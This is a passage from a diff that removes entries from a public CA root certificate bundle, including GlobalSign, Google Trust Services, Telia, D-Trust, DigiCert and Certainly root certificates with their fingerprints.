26:29:f8:6d:e1:88:bf:a2:65:7f:aa:c4:cd:0f:7f:fc -# SHA1 Fingerprint: 6b:a0:b0:98:e1:71:ef:5a:ad:fe:48:15:80:77:10:f4:bd:6f:0b:28 -# SHA256 Fingerprint: b0:85:d7:0b:96:4f:19:1a:73:e4:af:0d:54:ae:7a:0e:07:aa:fd:af:9b:71:dd:08:62:13:8a:b7:32:5a:24:a2 ------BEGIN CERTIFICATE----- -MIIB3DCCAYOgAwIBAgINAgPlfvU/k/2lCSGypjAKBggqhkjOPQQDAjBQMSQwIgYD -VQQLExtHbG9iYWxTaWduIEVDQyBSb290IENBIC0gUjQxEzARBgNVBAoTCkdsb2Jh -bFNpZ24xEzARBgNVBAMTCkdsb2JhbFNpZ24wHhcNMTIxMTEzMDAwMDAwWhcNMzgw -MTE5MDMxNDA3WjBQMSQwIgYDVQQLExtHbG9iYWxTaWduIEVDQyBSb290IENBIC0g -UjQxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkdsb2JhbFNpZ24wWTAT -BgcqhkjOPQIBBggqhkjOPQMBBwNCAAS4xnnTj2wlDp8uORkcA6SumuU5BwkWymOx -uYb4ilfBV85C+nOh92VC/x7BALJucw7/xyHlGKSq2XE/qNS5zowdo0IwQDAOBgNV -HQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUVLB7rUW44kB/ -+wpu+74zyTyjhNUwCgYIKoZIzj0EAwIDRwAwRAIgIk90crlgr/HmnKAWBVBfw147 -bmF0774BxL4YSFlhgjICICadVGNA3jdgUM/I2O2dgq43mLyjj0xMqTQrbO/7lZsm ------END CERTIFICATE----- - -# Issuer: CN=GTS Root R1 O=Google Trust Services LLC -# Subject: CN=GTS Root R1 O=Google Trust Services LLC -# Label: "GTS Root R1" -# Serial: 159662320309726417404178440727 -# MD5 Fingerprint: 05:fe:d0:bf:71:a8:a3:76:63:da:01:e0:d8:52:dc:40 -# SHA1 Fingerprint: e5:8c:1c:c4:91:3b:38:63:4b:e9:10:6e:e3:ad:8e:6b:9d:d9:81:4a -# SHA256 Fingerprint: d9:47:43:2a:bd:e7:b7:fa:90:fc:2e:6b:59:10:1b:12:80:e0:e1:c7:e4:e4:0f:a3:c6:88:7f:ff:57:a7:f4:cf ------BEGIN CERTIFICATE----- -MIIFVzCCAz+gAwIBAgINAgPlk28xsBNJiGuiFzANBgkqhkiG9w0BAQwFADBHMQsw -CQYDVQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEU -MBIGA1UEAxMLR1RTIFJvb3QgUjEwHhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAw -MDAwWjBHMQswCQYDVQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZp -Y2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjEwggIiMA0GCSqGSIb3DQEBAQUA -A4ICDwAwggIKAoICAQC2EQKLHuOhd5s73L+UPreVp0A8of2C+X0yBoJx9vaMf/vo -27xqLpeXo4xL+Sv2sfnOhB2x+cWX3u+58qPpvBKJXqeqUqv4IyfLpLGcY9vXmX7w -Cl7raKb0xlpHDU0QM+NOsROjyBhsS+z8CZDfnWQpJSMHobTSPS5g4M/SCYe7zUjw -TcLCeoiKu7rPWRnWr4+wB7CeMfGCwcDfLqZtbBkOtdh+JhpFAz2weaSUKK0Pfybl -qAj+lug8aJRT7oM6iCsVlgmy4HqMLnXWnOunVmSPlk9orj2XwoSPwLxAwAtcvfaH -szVsrBhQf4TgTM2S0yDpM7xSma8ytSmzJSq0SPly4cpk9+aCEI3oncKKiPo4Zor8 -Y/kB+Xj9e1x3+naH+uzfsQ55lVe0vSbv1gHR6xYKu44LtcXFilWr06zqkUspzBmk -MiVOKvFlRNACzqrOSbTqn3yDsEB750Orp2yjj32JgfpMpf/VjsPOS+C12LOORc92 -wO1AK/1TD7Cn1TsNsYqiA94xrcx36m97PtbfkSIS5r762DL8EGMUUXLeXdYWk70p -aDPvOmbsB4om3xPXV2V4J95eSRQAogB/mqghtqmxlbCluQ0WEdrHbEg8QOB+DVrN -VjzRlwW5y0vtOUucxD/SVRNuJLDWcfr0wbrM7Rv1/oFB2ACYPTrIrnqYNxgFlQID -AQABo0IwQDAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4E -FgQU5K8rJnEaK0gnhS9SZizv8IkTcT4wDQYJKoZIhvcNAQEMBQADggIBAJ+qQibb -C5u+/x6Wki4+omVKapi6Ist9wTrYggoGxval3sBOh2Z5ofmmWJyq+bXmYOfg6LEe -QkEzCzc9zolwFcq1JKjPa7XSQCGYzyI0zzvFIoTgxQ6KfF2I5DUkzps+GlQebtuy -h6f88/qBVRRiClmpIgUxPoLW7ttXNLwzldMXG+gnoot7TiYaelpkttGsN/H9oPM4 -7HLwEXWdyzRSjeZ2axfG34arJ45JK3VmgRAhpuo+9K4l/3wV3s6MJT/KYnAK9y8J -ZgfIPxz88NtFMN9iiMG1D53Dn0reWVlHxYciNuaCp+0KueIHoI17eko8cdLiA6Ef -MgfdG+RCzgwARWGAtQsgWSl4vflVy2PFPEz0tv/bal8xa5meLMFrUKTX5hgUvYU/ -Z6tGn6D/Qqc6f1zLXbBwHSs09dR2CQzreExZBfMzQsNhFRAbd03OIozUhfJFfbdT -6u9AWpQKXCBfTkBdYiJ23//OYb2MI3jSNwLgjt7RETeJ9r/tSQdirpLsQBqvFAnZ -0E6yove+7u7Y/9waLd64NnHi/Hm3lCXRSHNboTXns5lndcEZOitHTtNCjv0xyBZm -2tIMPNuzjsmhDYAPexZ3FL//2wmUspO8IFgV6dtxQ/PeEMMA3KgqlbbC1j+Qa3bb -bP6MvPJwNQzcmRk13NfIRmPVNnGuV/u3gm3c ------END CERTIFICATE----- - -# Issuer: CN=GTS Root R3 O=Google Trust Services LLC -# Subject: CN=GTS Root R3 O=Google Trust Services LLC -# Label: "GTS Root R3" -# Serial: 159662495401136852707857743206 -# MD5 Fingerprint: 3e:e7:9d:58:02:94:46:51:94:e5:e0:22:4a:8b:e7:73 -# SHA1 Fingerprint: ed:e5:71:80:2b:c8:92:b9:5b:83:3c:d2:32:68:3f:09:cd:a0:1e:46 -# SHA256 Fingerprint: 34:d8:a7:3e:e2:08:d9:bc:db:0d:95:65:20:93:4b:4e:40:e6:94:82:59:6e:8b:6f:73:c8:42:6b:01:0a:6f:48 ------BEGIN CERTIFICATE----- -MIICCTCCAY6gAwIBAgINAgPluILrIPglJ209ZjAKBggqhkjOPQQDAzBHMQswCQYD -VQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIG -A1UEAxMLR1RTIFJvb3QgUjMwHhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAw -WjBHMQswCQYDVQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2Vz -IExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjMwdjAQBgcqhkjOPQIBBgUrgQQAIgNi -AAQfTzOHMymKoYTey8chWEGJ6ladK0uFxh1MJ7x/JlFyb+Kf1qPKzEUURout736G -jOyxfi//qXGdGIRFBEFVbivqJn+7kAHjSxm65FSWRQmx1WyRRK2EE46ajA2ADDL2 -4CejQjBAMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW -BBTB8Sa6oC2uhYHP0/EqEr24Cmf9vDAKBggqhkjOPQQDAwNpADBmAjEA9uEglRR7 -VKOQFhG/hMjqb2sXnh5GmCCbn9MN2azTL818+FsuVbu/3ZL3pAzcMeGiAjEA/Jdm -ZuVDFhOD3cffL74UOO0BzrEXGhF16b0DjyZ+hOXJYKaV11RZt+cRLInUue4X ------END CERTIFICATE----- - -# Issuer: CN=GTS Root R4 O=Google Trust Services LLC -# Subject: CN=GTS Root R4 O=Google Trust Services LLC -# Label: "GTS Root R4" -# Serial: 159662532700760215368942768210 -# MD5 Fingerprint: 43:96:83:77:19:4d:76:b3:9d:65:52:e4:1d:22:a5:e8 -# SHA1 Fingerprint: 77:d3:03:67:b5:e0:0c:15:f6:0c:38:61:df:7c:e1:3b:92:46:4d:47 -# SHA256 Fingerprint: 34:9d:fa:40:58:c5:e2:63:12:3b:39:8a:e7:95:57:3c:4e:13:13:c8:3f:e6:8f:93:55:6c:d5:e8:03:1b:3c:7d ------BEGIN CERTIFICATE----- -MIICCTCCAY6gAwIBAgINAgPlwGjvYxqccpBQUjAKBggqhkjOPQQDAzBHMQswCQYD -VQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIG -A1UEAxMLR1RTIFJvb3QgUjQwHhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAw -WjBHMQswCQYDVQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2Vz -IExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjQwdjAQBgcqhkjOPQIBBgUrgQQAIgNi -AATzdHOnaItgrkO4NcWBMHtLSZ37wWHO5t5GvWvVYRg1rkDdc/eJkTBa6zzuhXyi -QHY7qca4R9gq55KRanPpsXI5nymfopjTX15YhmUPoYRlBtHci8nHc8iMai/lxKvR -HYqjQjBAMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW -BBSATNbrdP9JNqPV2Py1PsVq8JQdjDAKBggqhkjOPQQDAwNpADBmAjEA6ED/g94D -9J+uHXqnLrmvT/aDHQ4thQEd0dlq7A/Cr8deVl5c1RxYIigL9zC2L7F8AjEA8GE8 -p/SgguMh1YQdc4acLa/KNJvxn7kjNuK8YAOdgLOaVsjh4rsUecrNIdSUtUlD ------END CERTIFICATE----- - -# Issuer: CN=Telia Root CA v2 O=Telia Finland Oyj -# Subject: CN=Telia Root CA v2 O=Telia Finland Oyj -# Label: "Telia Root CA v2" -# Serial: 7288924052977061235122729490515358 -# MD5 Fingerprint: 0e:8f:ac:aa:82:df:85:b1:f4:dc:10:1c:fc:99:d9:48 -# SHA1 Fingerprint: b9:99:cd:d1:73:50:8a:c4:47:05:08:9c:8c:88:fb:be:a0:2b:40:cd -# SHA256 Fingerprint: 24:2b:69:74:2f:cb:1e:5b:2a:bf:98:89:8b:94:57:21:87:54:4e:5b:4d:99:11:78:65:73:62:1f:6a:74:b8:2c ------BEGIN CERTIFICATE----- -MIIFdDCCA1ygAwIBAgIPAWdfJ9b+euPkrL4JWwWeMA0GCSqGSIb3DQEBCwUAMEQx -CzAJBgNVBAYTAkZJMRowGAYDVQQKDBFUZWxpYSBGaW5sYW5kIE95ajEZMBcGA1UE -AwwQVGVsaWEgUm9vdCBDQSB2MjAeFw0xODExMjkxMTU1NTRaFw00MzExMjkxMTU1 -NTRaMEQxCzAJBgNVBAYTAkZJMRowGAYDVQQKDBFUZWxpYSBGaW5sYW5kIE95ajEZ -MBcGA1UEAwwQVGVsaWEgUm9vdCBDQSB2MjCCAiIwDQYJKoZIhvcNAQEBBQADggIP -ADCCAgoCggIBALLQPwe84nvQa5n44ndp586dpAO8gm2h/oFlH0wnrI4AuhZ76zBq -AMCzdGh+sq/H1WKzej9Qyow2RCRj0jbpDIX2Q3bVTKFgcmfiKDOlyzG4OiIjNLh9 -vVYiQJ3q9HsDrWj8soFPmNB06o3lfc1jw6P23pLCWBnglrvFxKk9pXSW/q/5iaq9 -lRdU2HhE8Qx3FZLgmEKnpNaqIJLNwaCzlrI6hEKNfdWV5Nbb6WLEWLN5xYzTNTOD -n3WhUidhOPFZPY5Q4L15POdslv5e2QJltI5c0BE0312/UqeBAMN/mUWZFdUXyApT -7GPzmX3MaRKGwhfwAZ6/hLzRUssbkmbOpFPlob/E2wnW5olWK8jjfN7j/4nlNW4o -6GwLI1GpJQXrSPjdscr6bAhR77cYbETKJuFzxokGgeWKrLDiKca5JLNrRBH0pUPC -TEPlcDaMtjNXepUugqD0XBCzYYP2AgWGLnwtbNwDRm41k9V6lS/eINhbfpSQBGq6 -WT0EBXWdN6IOLj3rwaRSg/7Qa9RmjtzG6RJOHSpXqhC8fF6CfaamyfItufUXJ63R -DolUK5X6wK0dmBR4M0KGCqlztft0DbcbMBnEWg4cJ7faGND/isgFuvGqHKI3t+ZI -pEYslOqodmJHixBTB0hXbOKSTbauBcvcwUpej6w9GU7C7WB1K9vBykLVAgMBAAGj -YzBhMB8GA1UdIwQYMBaAFHKs5DN5qkWH9v2sHZ7Wxy+G2CQ5MB0GA1UdDgQWBBRy -rOQzeapFh/b9rB2e1scvhtgkOTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUw -AwEB/zANBgkqhkiG9w0BAQsFAAOCAgEAoDtZpwmUPjaE0n4vOaWWl/oRrfxn83EJ -8rKJhGdEr7nv7ZbsnGTbMjBvZ5qsfl+yqwE2foH65IRe0qw24GtixX1LDoJt0nZi -0f6X+J8wfBj5tFJ3gh1229MdqfDBmgC9bXXYfef6xzijnHDoRnkDry5023X4blMM -A8iZGok1GTzTyVR8qPAs5m4HeW9q4ebqkYJpCh3DflminmtGFZhb069GHWLIzoBS -SRE/yQQSwxN8PzuKlts8oB4KtItUsiRnDe+Cy748fdHif64W1lZYudogsYMVoe+K -TTJvQS8TUoKU1xrBeKJR3Stwbbca+few4GeXVtt8YVMJAygCQMez2P2ccGrGKMOF -6eLtGpOg3kuYooQ+BXcBlj37tCAPnHICehIv1aO6UXivKitEZU61/Qrowc15h2Er -3oBXRb9n8ZuRXqWk7FlIEA04x7D6w0RtBPV4UBySllva9bguulvP5fBqnUsvWHMt -Ty3EHD70sz+rFQ47GUGKpMFXEmZxTPpT41frYpUJnlTd0cI8Vzy9OK2YZLe4A5pT -VmBds9hCG1xLEooc6+t9xnppxyd/pPiL8uSUZodL6ZQHCRJ5irLrdATczvREWeAW -ysUsWNc8e89ihmpQfTU2Zqf7N+cox9jQraVplI/owd8k+BsHMYeB2F326CjYSlKA -rBPuUBQemMc= ------END CERTIFICATE----- - -# Issuer: CN=D-TRUST BR Root CA 1 2020 O=D-Trust GmbH -# Subject: CN=D-TRUST BR Root CA 1 2020 O=D-Trust GmbH -# Label: "D-TRUST BR Root CA 1 2020" -# Serial: 165870826978392376648679885835942448534 -# MD5 Fingerprint: b5:aa:4b:d5:ed:f7:e3:55:2e:8f:72:0a:f3:75:b8:ed -# SHA1 Fingerprint: 1f:5b:98:f0:e3:b5:f7:74:3c:ed:e6:b0:36:7d:32:cd:f4:09:41:67 -# SHA256 Fingerprint: e5:9a:aa:81:60:09:c2:2b:ff:5b:25:ba:d3:7d:f3:06:f0:49:79:7c:1f:81:d8:5a:b0:89:e6:57:bd:8f:00:44 ------BEGIN CERTIFICATE----- -MIIC2zCCAmCgAwIBAgIQfMmPK4TX3+oPyWWa00tNljAKBggqhkjOPQQDAzBIMQsw -CQYDVQQGEwJERTEVMBMGA1UEChMMRC1UcnVzdCBHbWJIMSIwIAYDVQQDExlELVRS -VVNUIEJSIFJvb3QgQ0EgMSAyMDIwMB4XDTIwMDIxMTA5NDUwMFoXDTM1MDIxMTA5 -NDQ1OVowSDELMAkGA1UEBhMCREUxFTATBgNVBAoTDEQtVHJ1c3QgR21iSDEiMCAG -A1UEAxMZRC1UUlVTVCBCUiBSb290IENBIDEgMjAyMDB2MBAGByqGSM49AgEGBSuB -BAAiA2IABMbLxyjR+4T1mu9CFCDhQ2tuda38KwOE1HaTJddZO0Flax7mNCq7dPYS -zuht56vkPE4/RAiLzRZxy7+SmfSk1zxQVFKQhYN4lGdnoxwJGT11NIXe7WB9xwy0 -QVK5buXuQqOCAQ0wggEJMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFHOREKv/ -VbNafAkl1bK6CKBrqx9tMA4GA1UdDwEB/wQEAwIBBjCBxgYDVR0fBIG+MIG7MD6g -PKA6hjhodHRwOi8vY3JsLmQtdHJ1c3QubmV0L2NybC9kLXRydXN0X2JyX3Jvb3Rf -Y2FfMV8yMDIwLmNybDB5oHegdYZzbGRhcDovL2RpcmVjdG9yeS5kLXRydXN0Lm5l -dC9DTj1ELVRSVVNUJTIwQlIlMjBSb290JTIwQ0ElMjAxJTIwMjAyMCxPPUQtVHJ1 -c3QlMjBHbWJILEM9REU/Y2VydGlmaWNhdGVyZXZvY2F0aW9ubGlzdDAKBggqhkjO -PQQDAwNpADBmAjEAlJAtE/rhY/hhY+ithXhUkZy4kzg+GkHaQBZTQgjKL47xPoFW -wKrY7RjEsK70PvomAjEA8yjixtsrmfu3Ubgko6SUeho/5jbiA1czijDLgsfWFBHV -dWNbFJWcHwHP2NVypw87 ------END CERTIFICATE----- - -# Issuer: CN=D-TRUST EV Root CA 1 2020 O=D-Trust GmbH -# Subject: CN=D-TRUST EV Root CA 1 2020 O=D-Trust GmbH -# Label: "D-TRUST EV Root CA 1 2020" -# Serial: 126288379621884218666039612629459926992 -# MD5 Fingerprint: 8c:2d:9d:70:9f:48:99:11:06:11:fb:e9:cb:30:c0:6e -# SHA1 Fingerprint: 61:db:8c:21:59:69:03:90:d8:7c:9c:12:86:54:cf:9d:3d:f4:dd:07 -# SHA256 Fingerprint: 08:17:0d:1a:a3:64:53:90:1a:2f:95:92:45:e3:47:db:0c:8d:37:ab:aa:bc:56:b8:1a:a1:00:dc:95:89:70:db ------BEGIN CERTIFICATE----- -MIIC2zCCAmCgAwIBAgIQXwJB13qHfEwDo6yWjfv/0DAKBggqhkjOPQQDAzBIMQsw -CQYDVQQGEwJERTEVMBMGA1UEChMMRC1UcnVzdCBHbWJIMSIwIAYDVQQDExlELVRS -VVNUIEVWIFJvb3QgQ0EgMSAyMDIwMB4XDTIwMDIxMTEwMDAwMFoXDTM1MDIxMTA5 -NTk1OVowSDELMAkGA1UEBhMCREUxFTATBgNVBAoTDEQtVHJ1c3QgR21iSDEiMCAG -A1UEAxMZRC1UUlVTVCBFViBSb290IENBIDEgMjAyMDB2MBAGByqGSM49AgEGBSuB -BAAiA2IABPEL3YZDIBnfl4XoIkqbz52Yv7QFJsnL46bSj8WeeHsxiamJrSc8ZRCC -/N/DnU7wMyPE0jL1HLDfMxddxfCxivnvubcUyilKwg+pf3VlSSowZ/Rk99Yad9rD -wpdhQntJraOCAQ0wggEJMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFH8QARY3 -OqQo5FD4pPfsazK2/umLMA4GA1UdDwEB/wQEAwIBBjCBxgYDVR0fBIG+MIG7MD6g -PKA6hjhodHRwOi8vY3JsLmQtdHJ1c3QubmV0L2NybC9kLXRydXN0X2V2X3Jvb3Rf -Y2FfMV8yMDIwLmNybDB5oHegdYZzbGRhcDovL2RpcmVjdG9yeS5kLXRydXN0Lm5l -dC9DTj1ELVRSVVNUJTIwRVYlMjBSb290JTIwQ0ElMjAxJTIwMjAyMCxPPUQtVHJ1 -c3QlMjBHbWJILEM9REU/Y2VydGlmaWNhdGVyZXZvY2F0aW9ubGlzdDAKBggqhkjO -PQQDAwNpADBmAjEAyjzGKnXCXnViOTYAYFqLwZOZzNnbQTs7h5kXO9XMT8oi96CA -y/m0sRtW9XLS/BnRAjEAkfcwkz8QRitxpNA7RJvAKQIFskF3UfN5Wp6OFKBOQtJb -gfM0agPnIjhQW+0ZT0MW ------END CERTIFICATE----- - -# Issuer: CN=DigiCert TLS ECC P384 Root G5 O=DigiCert, Inc. -# Subject: CN=DigiCert TLS ECC P384 Root G5 O=DigiCert, Inc. -# Label: "DigiCert TLS ECC P384 Root G5" -# Serial: 13129116028163249804115411775095713523 -# MD5 Fingerprint: d3:71:04:6a:43:1c:db:a6:59:e1:a8:a3:aa:c5:71:ed -# SHA1 Fingerprint: 17:f3:de:5e:9f:0f:19:e9:8e:f6:1f:32:26:6e:20:c4:07:ae:30:ee -# SHA256 Fingerprint: 01:8e:13:f0:77:25:32:cf:80:9b:d1:b1:72:81:86:72:83:fc:48:c6:e1:3b:e9:c6:98:12:85:4a:49:0c:1b:05 ------BEGIN CERTIFICATE----- -MIICGTCCAZ+gAwIBAgIQCeCTZaz32ci5PhwLBCou8zAKBggqhkjOPQQDAzBOMQsw -CQYDVQQGEwJVUzEXMBUGA1UEChMORGlnaUNlcnQsIEluYy4xJjAkBgNVBAMTHURp -Z2lDZXJ0IFRMUyBFQ0MgUDM4NCBSb290IEc1MB4XDTIxMDExNTAwMDAwMFoXDTQ2 -MDExNDIzNTk1OVowTjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDkRpZ2lDZXJ0LCBJ -bmMuMSYwJAYDVQQDEx1EaWdpQ2VydCBUTFMgRUNDIFAzODQgUm9vdCBHNTB2MBAG -ByqGSM49AgEGBSuBBAAiA2IABMFEoc8Rl1Ca3iOCNQfN0MsYndLxf3c1TzvdlHJS -7cI7+Oz6e2tYIOyZrsn8aLN1udsJ7MgT9U7GCh1mMEy7H0cKPGEQQil8pQgO4CLp -0zVozptjn4S1mU1YoI71VOeVyaNCMEAwHQYDVR0OBBYEFMFRRVBZqz7nLFr6ICIS -B4CIfBFqMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MAoGCCqGSM49 -BAMDA2gAMGUCMQCJao1H5+z8blUD2WdsJk6Dxv3J+ysTvLd6jLRl0mlpYxNjOyZQ -LgGheQaRnUi/wr4CMEfDFXuxoJGZSZOoPHzoRgaLLPIxAJSdYsiJvRmEFOml+wG4 -DXZDjC5Ty3zfDBeWUA== ------END CERTIFICATE----- - -# Issuer: CN=DigiCert TLS RSA4096 Root G5 O=DigiCert, Inc. -# Subject: CN=DigiCert TLS RSA4096 Root G5 O=DigiCert, Inc. -# Label: "DigiCert TLS RSA4096 Root G5" -# Serial: 11930366277458970227240571539258396554 -# MD5 Fingerprint: ac:fe:f7:34:96:a9:f2:b3:b4:12:4b:e4:27:41:6f:e1 -# SHA1 Fingerprint: a7:88:49:dc:5d:7c:75:8c:8c:de:39:98:56:b3:aa:d0:b2:a5:71:35 -# SHA256 Fingerprint: 37:1a:00:dc:05:33:b3:72:1a:7e:eb:40:e8:41:9e:70:79:9d:2b:0a:0f:2c:1d:80:69:31:65:f7:ce:c4:ad:75 ------BEGIN CERTIFICATE----- -MIIFZjCCA06gAwIBAgIQCPm0eKj6ftpqMzeJ3nzPijANBgkqhkiG9w0BAQwFADBN -MQswCQYDVQQGEwJVUzEXMBUGA1UEChMORGlnaUNlcnQsIEluYy4xJTAjBgNVBAMT -HERpZ2lDZXJ0IFRMUyBSU0E0MDk2IFJvb3QgRzUwHhcNMjEwMTE1MDAwMDAwWhcN -NDYwMTE0MjM1OTU5WjBNMQswCQYDVQQGEwJVUzEXMBUGA1UEChMORGlnaUNlcnQs -IEluYy4xJTAjBgNVBAMTHERpZ2lDZXJ0IFRMUyBSU0E0MDk2IFJvb3QgRzUwggIi -MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCz0PTJeRGd/fxmgefM1eS87IE+ -ajWOLrfn3q/5B03PMJ3qCQuZvWxX2hhKuHisOjmopkisLnLlvevxGs3npAOpPxG0 -2C+JFvuUAT27L/gTBaF4HI4o4EXgg/RZG5Wzrn4DReW+wkL+7vI8toUTmDKdFqgp -wgscONyfMXdcvyej/Cestyu9dJsXLfKB2l2w4SMXPohKEiPQ6s+d3gMXsUJKoBZM -pG2T6T867jp8nVid9E6P/DsjyG244gXazOvswzH016cpVIDPRFtMbzCe88zdH5RD -nU1/cHAN1DrRN/BsnZvAFJNY781BOHW8EwOVfH/jXOnVDdXifBBiqmvwPXbzP6Po -sMH976pXTayGpxi0KcEsDr9kvimM2AItzVwv8n/vFfQMFawKsPHTDU9qTXeXAaDx -Zre3zu/O7Oyldcqs4+Fj97ihBMi8ez9dLRYiVu1ISf6nL3kwJZu6ay0/nTvEF+cd -Lvvyz6b84xQslpghjLSR6Rlgg/IwKwZzUNWYOwbpx4oMYIwo+FKbbuH2TbsGJJvX -KyY//SovcfXWJL5/MZ4PbeiPT02jP/816t9JXkGPhvnxd3lLG7SjXi/7RgLQZhNe -XoVPzthwiHvOAbWWl9fNff2C+MIkwcoBOU+NosEUQB+cZtUMCUbW8tDRSHZWOkPL -tgoRObqME2wGtZ7P6wIDAQABo0IwQDAdBgNVHQ4EFgQUUTMc7TZArxfTJc1paPKv -TiM+s0EwDgYDVR0PAQH/BAQDAgGGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcN -AQEMBQADggIBAGCmr1tfV9qJ20tQqcQjNSH/0GEwhJG3PxDPJY7Jv0Y02cEhJhxw -GXIeo8mH/qlDZJY6yFMECrZBu8RHANmfGBg7sg7zNOok992vIGCukihfNudd5N7H -PNtQOa27PShNlnx2xlv0wdsUpasZYgcYQF+Xkdycx6u1UQ3maVNVzDl92sURVXLF -O4uJ+DQtpBflF+aZfTCIITfNMBc9uPK8qHWgQ9w+iUuQrm0D4ByjoJYJu32jtyoQ -REtGBzRj7TG5BO6jm5qu5jF49OokYTurWGT/u4cnYiWB39yhL/btp/96j1EuMPik -AdKFOV8BmZZvWltwGUb+hmA+rYAQCd05JS9Yf7vSdPD3Rh9GOUrYU9DzLjtxpdRv -/PNn5AeP3SYZ4Y1b+qOTEZvpyDrDVWiakuFSdjjo4bq9+0/V77PnSIMx8IIh47a+ -p6tv75/fTM8BuGJqIz3nCU2AG3swpMPdB380vqQmsvZB6Akd4yCYqjdP//fx4ilw -MUc/dNAUFvohigLVigmUdy7yWSiLfFCSCmZ4OIN1xLVaqBHG5cGdZlXPU8Sv13WF -qUITVuwhd4GTWgzqltlJyqEI8pc7bZsEGCREjnwB8twl2F6GmrE52/WRMmrRpnCK -ovfepEWFJqgejF0pW8hL2JpqA15w8oVPbEtoL8pU9ozaMv7Da4M/OMZ+ ------END CERTIFICATE----- - -# Issuer: CN=Certainly Root R1 O=Certainly -# Subject: CN=Certainly Root R1 O=Certainly -# Label: "Certainly Root R1" -# Serial: 188833316161142517227353805653483829216 -# MD5 Fingerprint: 07:70:d4:3e:82:87:a0:fa:33:36:13:f4:fa:33:e7:12 -# SHA1 Fingerprint: a0:50:ee:0f:28:71:f4:27:b2:12:6d:6f:50:96:25:ba:cc:86:42:af -# SHA256 Fingerprint: 77:b8:2c:d8:64:4c:43:05:f7:ac:c5:cb:15:6b:45:67:50:04:03:3d:51:c6:0c:62:02:a8:e0:c3:34:67:d3:a0 ------BEGIN CERTIFICATE----- -MIIFRzCCAy+gAwIBAgIRAI4P+UuQcWhlM1T01EQ5t+AwDQYJKoZIhvcNAQELBQAw -PTELMAkGA1UEBhMCVVMxEjAQBgNVBAoTCUNlcnRhaW5seTEaMBgGA1UEAxMRQ2Vy -dGFpbmx5IFJvb3QgUjEwHhcNMjEwNDAxMDAwMDAwWhcNNDYwNDAxMDAwMDAwWjA9 -MQswCQYDVQQGEwJVUzESMBAGA1UEChMJQ2VydGFpbmx5MRowGAYDVQQDExFDZXJ0 -YWlubHkgUm9vdCBSMTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANA2 -1B/q3avk0bbm+yLA3RMNansiExyXPGhjZjKcA7WNpIGD2ngwEc/csiu+kr+O5MQT -vqRoTNoCaBZ0vrLdBORrKt03H2As2/X3oXyVtwxwhi7xOu9S98zTm/mLvg7fMbed -aFySpvXl8wo0tf97ouSHocavFwDvA5HtqRxOcT3Si2yJ9HiG5mpJoM610rCrm/b0 -1C7jcvk2xusVtyWMOvwlDbMicyF0yEqWYZL1LwsYpfSt4u5BvQF5+paMjRcCMLT5 -r3gajLQ2EBAHBXDQ9DGQilHFhiZ5shGIXsXwClTNSaa/ApzSRKft43jvRl5tcdF5 -cBxGX1HpyTfcX35pe0HfNEXgO4T0oYoKNp43zGJS4YkNKPl6I7ENPT2a/Z2B7yyQ -wHtETrtJ4A5KVpK8y7XdeReJkd5hiXSSqOMyhb5OhaRLWcsrxXiOcVTQAjeZjOVJ -6uBUcqQRBi8LjMFbvrWhsFNunLhgkR9Za/kt9JQKl7XsxXYDVBtlUrpMklZRNaBA -2CnbrlJ2Oy0wQJuK0EJWtLeIAaSHO1OWzaMWj/Nmqhexx2DgwUMFDO6bW2BvBlyH -Wyf5QBGenDPBt+U1VwV/J84XIIwc/PH72jEpSe31C4SnT8H2TsIonPru4K8H+zMR -eiFPCyEQtkA6qyI6BJyLm4SGcprSp6XEtHWRqSsjAgMBAAGjQjBAMA4GA1UdDwEB -/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBTgqj8ljZ9EXME66C6u -d0yEPmcM9DANBgkqhkiG9w0BAQsFAAOCAgEAuVevuBLaV4OPaAszHQNTVfSVcOQr -PbA56/qJYv331hgELyE03fFo8NWWWt7CgKPBjcZq91l3rhVkz1t5BXdm6ozTaw3d -8VkswTOlMIAVRQdFGjEitpIAq5lNOo93r6kiyi9jyhXWx8bwPWz8HA2YEGGeEaIi -1wrykXprOQ4vMMM2SZ/g6Q8CRFA3lFV96p/2O7qUpUzpvD5RtOjKkjZUbVwlKNrd -rRT90+7iIgXr0PK3aBLXWopBGsaSpVo7Y0VPv+E6dyIvXL9G+VoDhRNCX8reU9di -taY1BMJH/5n9hN9czulegChB8n3nHpDYT3Y+gjwN/KUD+nsa2UUeYNrEjvn8K8l7 -lcUq/6qJ34IxD3L/DCfXCh5WAFAeDJDBlrXYFIW7pw0WwfgHJBu6haEaBQmAupVj -yTrsJZ9/nbqkRxWbRHDxakvWOF5D8xh+UG7pWijmZeZ3Gzr9Hb4DJqPb1OG7fpYn 